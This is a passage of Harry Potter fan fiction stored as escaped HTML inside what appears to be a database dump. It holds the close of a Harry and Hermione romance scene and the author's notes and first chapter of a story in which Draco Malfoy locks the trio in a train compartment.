breaths\nescaped from them, even and steady.\n\n</p><p>The comforter lay near her feet, and he realized with amusement that\nshe must have kicked it in her sleep. Quietly, he picked it up and tucked\nher in. She murmured softly and he froze, thinking he would get caught.\nBut instead, she just snuggled into the blanket’s warm embrace and fell\ndeeper asleep.\n\n</p><p>And all he could think about was… how he wanted to be the blanket.\n\n</p><p>The thought shocked him. Frightened him. Surprised him. But he realized…\nit was true. He wanted to be her blanket, the one who would protect her,\nwho would keep her warm, to be the one she went to for comfort. It was\nall he could do to keep from wrapping his arms around her right then and\nwhispering into her ear…\n\n</p><p>What?\n\n</p><p>That he cared about her. That he would protect her. That he loved her.\n\n</p><p>And there he stood, in the shadows of the girl’s dormitories, late at\nnight, standing over his supposed best friend’s sleeping form, suddenly\nrealizing that he wanted more than just friendship.\n\n</p><p>It was too much for him to take.\n\n</p><p>Like a zombie, he turned and walked out of the room, soundlessly, closing\nthe door behind him as he made his way to the Common Room, looking for\nsomething to distract him. He couldn’t very well sleep <i>now</i>.\n\n</p><p>He had been battling with himself for the past half-hour already, before\ntrying to immerse himself in his Potions homework to help him forget. But\nhow on earth could you forget something like that?\n\n</p><p>Finally, he decided to call it a night. He tucked the quill into the\nspecial compartment, and prepared to hoist the bag onto his shoulders.\nHe didn’t know what tomorrow would bring. He didn’t know how he would look\nat her now. He didn’t know how he would act around her now. But he would\nsave all of that for tomorrow…\n\n</p><p>“Harry?” said a familiar voice. A voice he knew all too well. It was\ndrowsy with sleep, but it was her.\n\n</p><p>The book bag tumbled off his shoulders and he nearly fell from complete\nsurprise. And fear.\n\n</p><p>A groggy giggle erupted from her throat. “Oh, I’m sorry. Did I scare\nyou?”\n\n</p><p>He turned and saw her in those cotton pajamas, with a maroon bathrobe\nthrown hastily over it. Two hairpins had been used to restrain her bushy\nhair. She was looking at him curiously, although he knew that a laugh threatened\nto escape her.\n\n</p><p>He sighed and plopped onto the floor. “Go on then, have a laugh.”\n\n</p><p>A smile broke out on Hermione’s face and she chuckled. She walked over\nto him and sat next to him primly. Harry gulped unconsciously. She was\nlooking at him directly. How could he have ever said her eyes were boring?\nThey were the color of rich chocolate, with flecks of gold from the fire\nin the hearth reflected in them.\n\n</p><p>“Parvati said you were in the girl’s dorm awhile ago.”\n\n</p><p>Harry’s heart stopped. <i>Parvati was awake?</i>\n</p><p>She continued, “She said you were there for quite awhile.”\n\n</p><p>He didn’t know what to say. He just sat there, staring at the book bag\nthat fell from his shoulder. Books and bits of paper scattered the floor,\nbut the quill remained safe in its little compartment. Through Heaven and\nHell, it would always be by his side. Always there.\n\n</p><p>“Did you want anything, Harry?”\n\n</p><p>He did. He wanted to stare into those lovely eyes of hers forever. He\nwanted to run his hands through her hair and stick his nose into it and\nsmell the jasmine. He wanted to hold her in his arms every night, and tell\nher he would let nothing hurt her. He wanted to protect her. Care for her.\nWatch over her. He wanted to be able to tuck her in every night, to be\nthe one to smile and pry away the books from her arms.\n\n</p><p>“Harry?” She placed a hand on his shoulder, and he turned to face her.\nShe had the most curious expression on her face. Her skin had a yellowish\nglow, from the fire in the hearth. Her hair tumbled over her shoulders.\nHer brow was furrowed slightly, her head tilted in question and her lips\nwere set in a soft line.\n\n</p><p>He wanted to kiss her.\n\n</p><p>“Are you all right?” Her hand slid from his shoulder to his own hand.\nTingles ran down his spine at the contact. The skin on her palm was so\nsoft. She had held his hand many times before but he only paid attention\nto it now.\n\n</p><p>Slowly, he grasped her hand in his and linked their fingers together.\nHe looked down at their locked hands. “I never realized your hand was so\nsmall.”\n\n</p><p>She looked at him strangely. “What are you going on about?” But she\nwas flushing, that much he could tell.\n\n</p><p>“Hermione, I’m sorry.”\n\n</p><p>“What ever for?”\n\n</p><p>“For not realizing this sooner.”\n\n</p><p>She bit her lip and unconsciously shuffled closer to him. They were\nshoulder to shoulder now. “Harry, I don’t understand.”\n\n</p><p>He knew this was his chance. “I want to be your blanket,” he blurted\nout.\n\n</p><p>There was a moment of silence, before Hermione quietly said, “I beg\nyour pardon?”\n\n</p><p>He hit himself inwardly. “No! That wasn’t what I meant. You see, Hermione…\nI’m… I’m…” He didn’t know how to tell her. He looked down at their linked\nhands.\n\n</p><p>Hermione looked curious and worried at the same time. “Harry,” she said.\nShe lifted his chin with her hand and looked him straight in the eye. “Just\ntell me.”\n\n</p><p>Her eyes, which were usually crinkled in annoyance or bleary because\nshe read too much, were now kind and comforting and filled with love. For\nhim? Did he have a chance after all?\n\n</p><p>He lifted his other hand. It was shaking. Nevertheless, he cupped her\nchin and moved closer. The skin was smooth and soft. He licked his lips\nand saw that she did the same. Did she know? He watched her close her eyes,\nand he did the same a millisecond before their lips met.\n\n</p><p>There were no more words, no more explanations to be said. The whole\nworld melted away. It was just him and Hermione, and this incredible feeling\nin his chest. Her lips were warm underneath his, and he could feel her\nsmile as she pressed back. It was a slow, sweet kiss, unhurried and gentle.\nTheir hands let go of each other to find better places. Her hands snaked\nto the back of his neck to pull him closer. His ran through her hair, snagging\non the hairpins, but he didn’t care. The scent of jasmine wafted towards\nhis nose and he breathed in deeply.\n\n</p><p>They pulled away for a breath of air, and Hermione leaned her forehead\nagainst his. Her breath was hot against his skin and something in him flared\nas he felt it. He moved his mouth to her neck and began raining feather-light\nkisses all over the pale column. She embraced him tighter and whispered\ninto his ear, “You were always my blanket, Harry Potter. Always and will\nbe forever.”\n\n</p><p>He looked her straight in the eyes. They were smoky and dazed, but looked\nback at him unwavering. Her lips were parted slightly. Her cheeks were\npink. Her hair was a mess, and her bathrobe was rumpled. Yet she never\nlooked lovelier.\n\n</p><p>His special quill.\n\n</p><p>Always there.\n\n</p><p>“I love you Hermione Granger.” He cupped her face in his hands and kissed\nher again and again. “My quill…”\n\n</p><p>She smiled at him, with a bewildered look in her eyes. “And I love you,\nHarry Potter.”\n\n</p><p>“Now while I would love to question you as to why you suddenly had this\nrealization, and all this talk about quills and blankets, I would rather\nyou kiss me first.”\n\n</p><p>Harry chuckled, “Snogs over studies, Granger?”\n\n</p><p>“Oh yes, definitely.” She wrapped her arms around him and closed her\neyes again, as his lips met hers for another kiss.\n\n</p><p>* * * * *\n\n</p><p>They fell asleep in a Common Room sofa, Hermione wrapped in Harry’s\nembrace.\n\n</p><p>Her blanket. His quill.\n<br/> \n\n\n'),
	(271, 1, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<b><font size="4"></font></b></font></p><p><font size="4" face="Garamond"><b><font size="4">Authour&#8217;s Notes</font></b><font size="4">: Since I first started this story back in December of 2002, my writing has drastically improved. I&#8217;ve learnt <i>so</i> much about writing simply by being a part of the Harry Potter fandom. </font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p> I decided to go back and edit the first thirteen chapters for continuity errors, typos, grammar, style, etc. So that you, the reader, may better enjoy this story. Since I started this fic long before OotP came out, it is now considered an AU, but there are still OotP spoilers sprinkled throughout which actually made An Ideal Death Eater, and some of the main plot points, more closely related to canon.</p>\n\n<p></p>\n\n<p>\n\n<b><u>Now for the warnings:</u></b></p><b><u>\n\n<i><p></p>\n\n</i></u><p><i>I have portrayed the characters in this story as closely as possible to canon. At times, they may </i>seem <i>out of character, but I ask that you keep reading because things you don&#8216;t understand now will become clearer eventually. Everything unfolds and I try not to rush things. One of my main goals for AIDE is for the characters as we know them in canon to grow up, so this story deals with real issues whilst still maintaining the old world feel of the Harry Potterverse.</i></p><i>\n\n</i><p></p>\n\n<p>\n\n<i>There are no evil people in this fic, aside from Voldemort, perhaps. <font face="Wingdings">J</font> For every action, there is a consequence. For every consequence, there is a lesson to be learnt. Every character has more depth than what is immediately shown, so I ask that you don&#8217;t drop this story simply because one of your favourite characters is shown temporarily in a bad light.</i></p><i>\n\n<p></p>\n\n<p> AIDE is dark at times, humorous in others. I attempt to resist clich&#233; and capture originality. Sometimes I will fail, other times I will succeed. There will be torture, slash, het, and character deaths. It all may get a bit graphic at times, but I assure you that I&#8217;ll give fair warning before you read something graphically violent or sexual. If you don&#8217;t feel up to reading a humorously dark fic, then stop now and find something else to read. For those who stay, please make sure to leave constructive reviews at the end.</p>\n\n<p></p>\n\n<p> Cheers,</p>\n\n<p> Sing</p>\n\n</i></b><p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Summer&#8217;s end was signalled by a high-pitched whistle that echoed through Platform Nine-and-Three-Quarters. The train to Hogwarts appeared to be the same shiny red it was the last time they had stood there, maybe even more so covered by a thick sheen of rain. With heavy hearts, Harry Potter, Hermione Granger, and Ron Weasley boarded the Hogwarts Express, knowing that this was to be their final year as students attending that prestigious institute of learning. Ginny, entering her sixth year, trailed behind them.</p>\n\n<p></p>\n\n<p>&quot;Just think, Hermione, after this year there won\'t be any more revision. You&#8217;ll be heartbroken,&quot; Ron teased as they all sat down in the cushy compartment Ginny had found empty.</p>\n\n<p></p>\n\n<p>&quot;Oh,&quot; Hermione groaned, throwing herself in the seat across from Ron. Harry glanced up in mild surprise. &quot;Don\'t remind me. Unlike some others, I actually <i>enjoy</i> learning new things. But, just because we are leaving Hogwarts soon, doesn\'t mean that we have to stop learning. <i>I\'ll</i> be attending the Aurors&#180; Academy in Belfast. I just received my acceptance letter yesterday.&quot;</p>\n\n<p></p>\n\n<p>&quot;Way to go! At least now I know I won\'t be by myself next year.&quot; Harry pounded Hermione on the back hard before he forgot that she was quite a bit smaller than him and stopped. &quot;Oh, sorry, Hermione.&quot;</p>\n\n<p></p>\n\n<p>&quot;That\'s all right, Harry. I know you\'re excited,&quot; she coughed out after the air had caught up with her lungs once more.</p>\n\n<p></p>\n\n<p>&quot;You\'re <i>both</i> going to Aurors&#180; Academy?&quot; Ron exclaimed, crossing his arms and pouting like a petulant child. &quot;What about me?&quot;</p>\n\n<p></p>\n\n<p>Harry sighed, ready for another argument, another explanation. &quot;You didn\'t want to go, remember?&quot;</p>\n\n<p></p>\n\n<p>&quot;Yeah, but that was only because . . . well, I didn\'t want to leave Hermione and Ginny in England by themselves,&quot; he finished quietly.</p>\n\n<p></p>\n\n<p>Dark brown eyes flashed with annoyance at the edge of Harry&#8216;s vision. &quot;You thought I wouldn\'t be accepted into the Academy, Ron?&quot; Hermione asked, her tone deceptively sweet.</p>\n\n<p></p>\n\n<p>&quot;Well, not that exactly . . .&quot; Ron trailed off. &quot;Aww ruddy hell, you\'re gonna bosh me anyway. So it doesn\'t matter what I say now, does it?&quot;</p>\n\n<p></p>\n\n<p>&quot;Ronald Weasley! I\'ve asked you not to swear in front of me. Think of your sister at least.&quot; Hermione shook her head and picked at the edge of her cloak.</p>\n\n<p></p>\n\n<p>Ron glanced at his sister, his mouth twitching, and then back to Hermione across from him. &quot;I said ruddy, and hell&#8216;s not a bad word. &#180;Sides, she\'s a mouth like a sailor that one does. You should hear her at home!&quot;</p>\n\n<p></p>\n\n<p>&quot;It&#8217;s small wonder with examples such as yourself,&quot; Hermione said, icily prim.</p>\n\n<p></p>\n\n<p>&quot;Hermione, maybe you should give S.P.A.S a rest just now. We have a ways to go and the train hasn&#8217;t even started moving yet,&quot; Harry sighed out of the side of his mouth.</p>\n\n<p></p>\n\n<p>&quot;S.P.A.S?&quot;</p>\n\n<p></p>\n\n<p>Ron snorted at Ginny. &quot;Yeah. Society for the Prevention of Adolescent Swearing.&quot;</p>\n\n<p></p>\n\n<p>Harry rolled his eyes; it was going to be a <i>long</i> trip. </p>\n\n<p></p>\n\n<p>Suddenly, the door to the compartment was flung open and a dark-hooded figure stepped forward, filling the frame with his shoulders. Silvery droplets clung to the expensive black velvet and seemed to wink as the fabric shifted.</p>\n\n<p></p>\n\n<p>And the drama was only just beginning.</p>\n\n<p></p>\n\n<p>Ron sucked in a breath and screamed. &quot;Aah! A Death Eater!&quot;</p>\n\n<p></p>\n\n<p>The figure snorted and pushed the hood back, allowing the washed out sunlight to gleam softly over his moon-tinted hair.</p>\n\n<p></p>\n\n<p>&quot;Bloody hell,&quot; Harry breathed. &quot;Is that old Spindle-legs there?&quot;</p>\n\n<p></p>\n\n<p>This statement earned him a hard thump from Hermione and he winced. &quot;Sorry, Hermione.&quot;</p>\n\n<p></p>\n\n<p>Ron recovered himself, flushing briefly with anger and embarrassment. &quot;Same bloody thing as a Death Eater.&quot;</p>\n\n<p></p>\n\n<p>Hermione was staring at Draco Malfoy in puzzlement, not even bothering to reprimand Ron. Ginny just swallowed, her eyes the size of dinner plates.</p>\n\n<p></p>\n\n<p>&quot;He looks . . . different.&quot;</p>\n\n<p></p>\n\n<p>&quot;Yeah,&quot; Ron piped up, fully recovered. &quot;He isn&#8217;t a spider.&quot;</p>\n\n<p></p>\n\n<p>Harry snorted and Draco only glared more fiercely.</p>\n\n<p></p>\n\n<p>&quot;Don&#8217;t think I&#8217;ve forgotten your little joke from last year, Potter. I&#8217;ll be returning the favour soon, have no doubt about that.&quot;</p>\n\n<p></p>\n\n<p>&quot;So what, you decided to come and scare us half to death in that get-up? Not much of a revenge if you ask me.&quot; Ron snickered.</p>\n\n<p></p>\n\n<p>Draco narrowed his eyes dangerously. &quot;No, I figured I would give you all fair warning.&quot; He turned to sweep out of the small room but paused to aim a crisp glance at Harry on his way out. &quot;Be on your toes this year, Potter.&quot;</p>\n\n<p></p>\n\n<p>With his exit, Hermione breathed a sigh of relief and Ginny rubbed arms that had suddenly gone numb with cold.</p>\n\n<p></p>\n\n<p>&quot;What did you <i>do</i> to him last year, Harry?&quot; Ginny asked, a little unsure she wanted to hear the answer.</p>\n\n<p></p>\n\n<p>Ron smacked her arm in a friendly manner and guffawed. &quot;Oh it was priceless, really. Harry there turned him into a spider on the train home before hols and he was almost squashed by the food trolley coming through!&quot;</p>\n\n<p></p>\n\n<p>&quot;I wouldn&#8217;t laugh too hard, Ron. You screamed like a girl when you saw him come racing towards you on eight legs,&quot; Harry smirked. &quot;Besides, I didn\'t even think of his getting almost squashed,&quot; he added in a whisper to himself.</p>\n\n<p></p>\n\n<p>&quot;Wasn&#8217;t my fault! I&#8217;m scared of spiders, you know that.&quot; Ron slumped forward and crossed his arms. Ginny however, was howling with mirth.</p>\n\n<p></p>\n\n<p>&quot;I wish I could have seen it! Ron screaming and Malfoy skittering.&quot; She wiggled her fingers in a motion that could only be determined by Harry as that of a spider, creeping about.</p>\n\n<p></p>\n\n<p>&quot;Was it just me or did Malfoy seem<font face="Times New Roman">&#8212;</font> &quot; Hermione broke off, searching her extensive vocabulary for the proper word. &quot;Wider?&quot;</p>\n\n<p></p>\n\n<p>&quot;Well, he&#8217;d almost have to be wouldn&#8217;t he? Couldn&#8217;t have gotten any thinner than he was before,&quot; Harry answered.</p>\n\n<p></p>\n\n<p>&quot;Aye, that grub was about the lankiest git I&#8217;ve <i>ever </i>seen. Even worse than poor Harry here after the twins tested that growth toffee on him.&quot;</p>\n\n<p></p>\n\n<p>&quot;Hey!&quot;</p>\n\n<p></p>\n\n<p>&quot;Well, you are pretty thin, Harry.&quot; Hermione patted his arm soothingly.</p>\n\n<p></p>\n\n<p>&quot;I&#8217;ll catch it up soon enough,&quot; he argued. &#8220;It wouldn&#8217;t be so bad if it wasn&#8217;t for that toffee. I&#8217;m not supposed to be this tall!&#8221;</p>\n\n<p></p>\n\n<p>Ginny shook her head. &quot;The way these two eat, I&#8217;m surprised they haven&#8217;t tripled in size. If I ate as much as they do, you&#8217;d have to <i>roll </i>me down the street.&quot;</p>\n\n<p></p>\n\n<p>&quot;They&#8217;re boys, Ginny. They can do all sorts of things that would put us in an early grave,&quot; Hermione said before heaving a long-suffering groan.</p>\n\n<p></p>\n\n<p>&quot;Too right! I&#8217;d hate to see you both in the Quivering Rooster or some such place. Not fit for ladies.&quot;</p>\n\n<p></p>\n\n<p>Ginny and Hermione turned a cool glance in Ron&#8217;s direction. &quot;Have <i>you</i> been frequenting such a place, Ron?&quot; Ginny asked coolly.</p>\n\n<p></p>\n\n<p>Ron sent a silent plea to Harry for help, but he only shook his head. &quot;Sorry mate, you opened your mouth.&quot;</p>\n\n<p></p>\n\n<p>&quot;I didn&#8217;t go by my bleedin&#180; self!&quot;</p>\n\n<p></p>\n\n<p>Harry&#8217;s ears turned bright red as the girls glanced at him. &quot;We<font face="Times New Roman">&#8212;</font> I mean<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;Oh Ron!&#8221; Hermione shrilled. &#8220;What would your mum say?&quot;</p>\n\n<p></p>\n\n<p>&quot;She won&#8217;t know if you don&#8217;t squeal on us.&quot;</p>\n\n<p></p>\n\n<p>&quot;But that place is dangerous! There are all sorts of bad elements there,&quot; Hermione gasped. &quot;Think of those <i>horrid</i> women strutting about in almost nothing.&quot;</p>\n\n<p></p>\n\n<p>Harry smothered a grin and winked at Ron from beside Hermione.</p>\n\n<p></p>\n\n<p>&quot;I think they <i>were</i> thinking of those horrid women, Hermione,&quot; Ginny snapped peevishly. &quot;Honestly, and Ron wouldn&#8217;t even let me go on an innocent trip to visit Colin this summer.&quot;</p>\n\n<p></p>\n\n<p>&quot;Innocent?&quot; Ron roared. &quot;That bloke has had his way with more girls than you could count. Like I&#8217;d leave you alone with the likes of <i>him</i>. Creepy little feck.&quot;</p>\n\n<p></p>\n\n<p>&quot;He has not!&quot; Ginny shouted back fiercely. &quot;He only told you guys that because<font face="Times New Roman">&#8212;</font> &quot; she stopped and closed her mouth quickly.</p>\n\n<p></p>\n\n<p>&quot;What?&quot;</p>\n\n<p></p>\n\n<p>&quot;Nothing. It isn&#8217;t any of your business.&quot;</p>\n\n<p></p>\n\n<p>&quot;Like he<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;Ron!&#8221; Harry barked. He could feel a pressure behind his eyes start to build and he knew he was going to have a migraine soon enough if Ron didn&#8216;t just stop. &#8220;Leave her alone, all right.&quot;</p>\n\n<p></p>\n\n<p>&quot;But she<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;Drop it; you\'re acting like a two year-old. Let&#8217;s all try to get some rest before we&#8217;re back at Hogwarts. We were all up late packing for school,&quot; Harry grunted as he bunched up his cloak and stuffed it behind his head. </p>\n\n<p></p>\n\n<p> He didn&#8217;t feel the need to sleep so much as he was just tired of the bickering. Ron muttered something off colour under his breath and followed suit. Hermione yawned and put her feet up on Ron&#8217;s lap, resting her head on Harry&#8217;s shoulder. Ginny&#8217;s legs weren&#8217;t long enough to reach across the seat so she tucked her heels underneath her and leaned over to put her head on Ron&#8217;s shoulder.</p>\n\n<p></p>\n\n<p>It was this scene to which Harry awoke later, startled to realise that they were already at Hogwarts Station.</p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p>Harry rubbed sleep-crusted eyes as he gazed around the room. Dusk was setting in and he could hear the last of the students stomping off the train.</p>\n\n<p></p>\n\n<p>&quot;Wake up everyone, we&#8217;re here.&quot;</p>\n\n<p></p>\n\n<p>Hermione yawned and stretched small, slim fingers up into the air above her head. &quot;Already? We just went to sleep.&quot;</p>\n\n<p></p>\n\n<p>&quot;Ron, wake up.&quot; Harry shook him lightly and frowned when it failed to rouse him. &quot;Ron!&quot; he snapped.</p>\n\n<p></p>\n\n<p>&quot;Butterflies! Aaah!&quot; Ron jumped up as if he had just sat on a Blast-Ended Skrewt. Ginny fell to the floor and smashed her face against the seat&#8217;s edge.</p>\n\n<p></p>\n\n<p>&quot;Ow! What did you do that for?&quot; she cried, rubbing at the blood dribbling down her chin. Harry felt his lip twitch for only a moment before he helped her up and put his handkerchief against the wound. The Weasleys were all overly dramatic.</p>\n\n<p></p>\n\n<p>&quot;We&#8217;ll take you to Madame Pomfrey as soon as we get inside Hogwarts,&quot; he assured her.</p>\n\n<p></p>\n\n<p> Hermione stopped fussing with her cloak and crossed her arms, smirking up at Ron. &quot;Butterflies?&quot;</p>\n\n<p></p>\n\n<p>He scowled. &quot;Yeah, butterflies. They&#8217;d scare you too if there was loads of them flittering about <i>your</i> head.&quot;</p>\n\n<p></p>\n\n<p>&quot;<i>Were</i>.&quot;</p>\n\n<p></p>\n\n<p>&quot;Were what?&quot;</p>\n\n<p></p>\n\n<p>&quot;Never mind,&quot; Hermione moaned as she moved over to Ginny. &quot;Let me take a look at that.&quot; Ginny lifted her chin obligingly as Hermione prodded the wound gently with her finger.</p>\n\n<p></p>\n\n<p>&quot;That will need a suture charm, and I don&#180;t know how to do that yet. But I can make it stop bleeding.&quot; Hermione raised her wand and touched it to Ginny&#180;s bottom lip. &quot;<i>Sanguin Ligare</i>!&quot;</p>\n\n<p></p>\n\n<p>Instantly the blood stopped gushing and the wound sealed over. The split was deep though, it would need to be put back together or poor Ginny would appear as if she had an upside-down harelip.</p>\n\n<p></p>\n\n<p>&quot;Hey!&quot; Ron shouted. &quot;The door is locked.&quot;</p>\n\n<p></p>\n\n<p>&quot;Locked?&quot; Harry frowned. &quot;Use your wand if it&#8217;s stuck.&quot;</p>\n\n<p></p>\n\n<p>&quot;<i>Alohamora</i>!&quot;</p>\n\n<p></p>\n\n<p>The door remained stubbornly locked, despite Ron&#8217;s desperate attempts at pulling it open.</p>\n\n<p></p>\n\n<p>&quot;You&#8217;ll only injure yourself, you perverse thing. Someone must have charmed it,&quot; Hermione calmly stated what seemed like an obvious conclusion to her.</p>\n\n<p></p>\n\n<p>&quot;Malfoy,&quot; breathed both Harry and Ron.</p>\n\n<p></p>\n\n<p>Ginny&#8216;s face paled and her mouth fell open, her breath coming in small pants before she ran over to the door and tugged the handle as hard as she could. &quot;Help! Let us out of here.&quot; Ginny pounded on the door, hyperventilating slightly as she struggled with the lock. &quot;I can&#180;t stand being stuck in here like this!&quot; she sobbed.</p>\n\n<p></p>\n\n<p>&quot;Shh, Ginny. It&#8217;ll be alright,&quot; Hermione soothed as she made Ginny take a seat and breathe calmly and deeply before turning to look outside. &quot;Ron, see if the window will go up. We may be able to float down if we can squeeze our way out of it.&quot;</p>\n\n<p></p>\n\n<p>Both Harry and Ron pushed and pulled with all of their might. It didn&#8217;t budge by a fingerbreadth.</p>\n\n<p></p>\n\n<p>&quot;<i>Rumpere</i>!&quot; Ron screamed at the casement. It did nothing; the window was magically shielded. The spell bounced off and hit Harry&#8217;s glasses instead, causing them to shatter.</p>\n\n<p></p>\n\n<p>&quot;Thanks, Ron,&quot; Harry mumbled as he removed his glasses and fumbled for his wand to repair them.</p>\n\n<p></p>\n\n<p>&quot;Sorry.&quot; Ron flushed brightly and toed the floor with the tip of his shoe.</p>\n\n<p></p>\n\n<p>Suddenly, the train lurched and began to leave Hogwarts Station. Through the window, they could all see Malfoy smirking at them. He raised a hand in mocking farewell and Ginny returned it, rudely.</p>\n\n<p></p>\n\n<p>&quot;Ginny!&quot; Hermione slapped her hand. &quot;I don&#8217;t care if he is a prat, that was just awful.&quot;</p>\n\n<p></p>\n\n<p>She shrugged and took her seat again. &quot;We&#8217;re stuck on the train and going back to London. He did it, so he deserved a full salute.&quot;</p>\n\n<p></p>\n\n<p>&quot;We&#8217;re going to miss the feast,&quot; Ron moaned as he and Harry&#8217;s stomachs rumbled loudly, the sound echoing off of the walls. &#8220;Again.&#8221;</p>\n\n<p></p>\n\n<p>&quot;Is all you think about food related?&quot; Ginny snapped.</p>\n\n<p></p>\n\n<p>&quot;Well, not <i>all </i>I think about . . .&quot; he mused.</p>\n\n<p></p>\n\n<p>&quot;Oh, right. I forgot about your collection of <i>Playwizard</i> under the creaky step on the stairs at home.&quot;</p>\n\n<p></p>\n\n<p>Ron&#180;s eyes bulged. &quot;How did you<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;Percy showed me. He thought I may want to burn them if you ever hacked me off too badly.&quot;</p>\n\n<p></p>\n\n<p>&quot;Percy is an annoying, swotty git. I&#8217;m gonna<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;This isn&#8217;t helping anything!&quot; Harry raised his voice and cut Ron off before he had a chance to detail his brother&#8217;s demise.</p>\n\n<p></p>\n\n<p>&quot;Well, what are we going to do? Sit around and play Exploding Snap? We are on our way <i>back</i> to London!&quot; Ron yelled, red-faced and panting from a curious mix of frustration and embarrassment.</p>\n\n<p></p>\n\n<p>&quot;Both of you stop it, I&#8217;m getting a migraine.&quot; Ginny put a hand to her head and leaned back into her seat.</p>\n\n<p></p>\n\n<p>Harry looked around the compartment forlornly. What a way to begin his seventh year.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<i><p>Tyger! Tyger! burning bright</p>\n\n<p>In the forests of the night,</p>\n\n<p>What immortal hand or eye</p>\n\n<p>Could frame thy fearful symmetry?</p>\n\n<p>~ William Blake~</p>\n\n</i><p></p>\n\n<p></p>\n\n<p>&quot;Mr Malfoy,&quot; Professor McGonagall pulled the boy aside after his Advanced Transfiguration class was through.</p>\n\n<p></p>\n\n<p>&quot;Yes, Professor?&quot;</p>\n\n<p></p>\n\n<p>&quot;Professor Dumbledore sent me a note stating that you are to go directly to his office after this class was over.&quot;</p>\n\n<p></p>\n\n<p> Draco studied the note in her hand blankly, idly wondering what sort of punishment was in store for him after his little trick on Potter and his crew.</p>\n\n<p></p>\n\n<p>&quot;Go on, he&#180;s expecting you,&quot; McGonagall urged with a tiny push to his back.</p>\n\n<p></p>\n\n<p>Draco grumbled as he made his way toward the Headmaster&#8217;s office. He knew where it was, but since his Head of House, Professor Snape, dealt with most problems Draco had never been there before.</p>\n\n<p></p>\n\n<p>The spiral stairs were down and he stepped into the small nook, waiting to be taken up towards whatever fate had in store for him today. It was bad enough that Potter and his group managed to make it back from London so quickly. Only took one night and in they stomped, bright and fresh as if they had spent the evening in their dorms sleeping on feather mattresses instead of a cramped train car.</p>\n\n<p></p>\n\n<p>Draco groused some more before finally stepping up to the Headmaster&#8217;s door and knocking softly.</p>\n\n<p></p>\n\n<p>&quot;Come in, Draco.&quot;</p>\n\n<p></p>\n\n<p>He sucked a deep breath through his nose and walked into the warm, cluttered room. The heat was almost too much. The permanent frost that usually covered his body was being shocked off to retreat elsewhere for the time being. His fingers tingled as they started to thaw. It was nearly close to being full-blown pain.</p>\n\n<p></p>\n\n<p>&quot;You wished to see me, Headmaster?&quot; Draco bowed his head in what he hoped was taken as a gesture of respect and subservience. Obedience was a lesson thoroughly drilled into his brain from day one.</p>\n\n<p></p>\n\n<p>&quot;Yes, come take a seat.&quot; Dumbledore gestured to the chair before his desk. Draco sat as he was bid and waited impatiently for the Headmaster to say something.</p>\n\n<p></p>\n\n<p>It was a long time in coming.</p>\n\n<p></p>\n\n<p>Dumbledore tilted his head to the side and surveyed the boy long and hard before finally beginning to speak.</p>\n\n<p></p>\n\n<p>&quot;You&#8217;ve grown this summer, Draco.&quot;</p>\n\n<p></p>\n\n<p>&quot;Yes, Headmaster.&quot;</p>\n\n<p></p>\n\n<p>The man waved this aside. &quot;Call me Dumbledore. Enough of that Headmaster bit; makes me want to look around for who you&#8217;re addressing.&quot;</p>\n\n<p></p>\n\n<p>Draco did not smile.</p>\n\n<p></p>\n\n<p>&quot;Lemon sherbet?&quot; Dumbledore offered.</p>\n\n<p></p>\n\n<p>&quot;No, thank you.&quot;</p>\n\n<p></p>\n\n<p>Dumbledore shrugged and popped a few of the sweets in his mouth, chewing them softly before he continued.</p>\n\n<p></p>\n\n<p>&quot;You look to be more of a man this year, Draco. I understand the other students were teasing you last term because you were so tall and thin. But you&#8217;ve filled out, I see.&quot;</p>\n\n<p></p>\n\n<p>&quot;Yes, sir.&quot; Draco fought hard to keep the bite out of his words. Spindle-legs, among others, had not been his first choice of nicknames.</p>\n\n<p></p>\n\n<p>&quot;That&#8217;s good, that&#8217;s good.&quot; Dumbledore leaned back and put another of the Muggle sweets into his mouth. &quot;I think you know why you are here today, Draco.&quot;</p>\n\n<p></p>\n\n<p>Malfoy lifted an elegant brow. &quot;Not exactly, sir. Perhaps you could enlighten me?&quot;</p>\n\n<p></p>\n\n<p>&quot;You were seen charming a compartment door on the Hogwarts Express yesterday.&quot;</p>\n\n<p></p>\n\n<p>He didn&#8217;t have to say which door; Draco knew full well which door it had been. &quot;I believe they were mistaken, sir.&quot;</p>\n\n<p></p>\n\n<p>&quot;Possible,&quot; Dumbledore nodded, his old voice strong and sure. &quot;Very possible. However, I&#8217;ve summoned you here for another reason. All punishment aside, I believe you suffered enough on your way home last year for me to further bother you with house points and that sort of rubbish. I&#8217;ll leave that between Mr Potter and yourself.&quot;</p>\n\n<p></p>\n\n<p>&quot;Then why am I here, sir?&quot; Draco asked, honestly puzzled.</p>\n\n<p></p>\n\n<p>Dumbledore sighed and steepled his fingers closely. &quot;What I am about to say can be taken anyway that you wish. I only mean to inform and possibly prevent further harm to yourself and others.&quot;</p>\n\n<p></p>\n\n<p>Others being Potter and his followers, of course. Draco swore silently to himself but continued to arrange a blank mask on the outside.</p>\n\n<p></p>\n\n<p>&quot;I would like for you, if at all possible, to at least restrain your temper when it comes to Mr Potter and his friends. I know that the rivalry between you is legendary, but for the sake of the world, put it aside and concentrate on your studies this year.</p>\n\n<p></p>\n\n<p>&quot;I don&#8217;t expect you to be friends, merely not so openly hostile towards each other. I&#8217;ve already had this conversation with Mr Potter and the rest of his group. So you shouldn&#8217;t have too much of a problem with instigation on their part.&quot; The old man knitted his eyebrows together and looked over his half-moon spectacles to further relate the serious nature of his words. &quot;They are all in grave peril each and every time they step outside of Hogwarts. Harry for obvious reasons; Miss Granger and Mr Weasley because of their connection to him.</p>\n\n<p></p>\n\n<p>&quot;The incident on the train, although seemingly harmless, could have cost them their very lives. Voldemort&#180;s supporters are everywhere and see everything. It was a ripe opportunity to finally have done with The Boy Who Lived and we can&#8217;t allow it to happen again.&quot; Dumbledore shook his head sadly before continuing. &quot;It is dark times we are in now, boy. 